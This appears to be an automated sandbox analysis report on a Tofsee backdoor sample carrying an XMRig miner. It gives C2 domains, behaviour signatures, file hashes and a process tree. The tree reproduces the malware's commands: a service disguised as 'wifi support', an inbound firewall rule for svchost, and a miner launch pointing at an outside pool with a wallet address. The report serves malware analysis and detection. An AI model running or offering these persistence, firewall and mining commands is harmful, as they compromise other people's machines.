Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/10/2022, 07:58

General

  • Target
    file.exe
  • Size 223KB
  • Sample221026-jttygafbcq
  • SHA256 3c2b6d59b3c9a3168f5b0ebab694f8ba4353f068c550717d32c80b2086ba67b2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1260
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zgowmmes\
      2⤵
        PID:4756
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\keulompy.exe" C:\Windows\SysWOW64\zgowmmes\
        2⤵
          PID:1948
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zgowmmes binPath= "C:\Windows\SysWOW64\zgowmmes\keulompy.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1524
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zgowmmes "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1132
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zgowmmes
          2⤵
          • Launches sc.exe
          PID:4256
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4068
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 1240
          2⤵
          • Program crash
          PID:1104
      • C:\Windows\SysWOW64\zgowmmes\keulompy.exe
        C:\Windows\SysWOW64\zgowmmes\keulompy.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5028
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4688
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3728
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5028 -s 508
          2⤵
          • Program crash
          PID:4852
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 1260 -ip 1260
        1⤵
          PID:1016
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5028 -ip 5028
          1⤵
            PID:1484

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                keulompy.exe

                • Path C:\Users\Admin\AppData\Local\Temp\keulompy.exe
                • Size 10.7MB
                • SHA256 97508b8fc93d0a470e099fd0ff684a70da5c4d838cd2dc0679c097095d235524
                • MD5 SHA1 SHA512 SSDEEP

                keulompy.exe

                • Path C:\Windows\SysWOW64\zgowmmes\keulompy.exe
                • Size 10.7MB
                • SHA256 97508b8fc93d0a470e099fd0ff684a70da5c4d838cd2dc0679c097095d235524
                • MD5 SHA1 SHA512 SSDEEP

                memory/1260-133-0x00000000006F0000-0x0000000000703000-memory.dmp

                memory/1260-134-0x0000000000400000-0x0000000000595000-memory.dmp

                memory/1260-132-0x0000000000779000-0x000000000078A000-memory.dmp

                memory/1260-144-0x0000000000400000-0x0000000000595000-memory.dmp

                memory/1260-143-0x0000000000779000-0x000000000078A000-memory.dmp

                memory/3728-172-0x0000000000A90000-0x0000000000B81000-memory.dmp

                memory/3728-177-0x0000000000A90000-0x0000000000B81000-memory.dmp

                memory/4688-146-0x0000000000ED0000-0x0000000000EE5000-memory.dmp

                memory/4688-151-0x0000000000ED0000-0x0000000000EE5000-memory.dmp

                memory/4688-152-0x0000000000ED0000-0x0000000000EE5000-memory.dmp

                memory/4688-153-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/4688-156-0x0000000002D50000-0x0000000002D56000-memory.dmp

                memory/4688-159-0x0000000002D60000-0x0000000002D70000-memory.dmp

                memory/4688-162-0x0000000002FF0000-0x0000000002FF5000-memory.dmp

                memory/4688-165-0x0000000007A40000-0x0000000007E4B000-memory.dmp

                memory/4688-168-0x0000000007F90000-0x0000000007F97000-memory.dmp

                memory/5028-150-0x0000000000400000-0x0000000000595000-memory.dmp

                memory/5028-149-0x00000000006F3000-0x0000000000704000-memory.dmp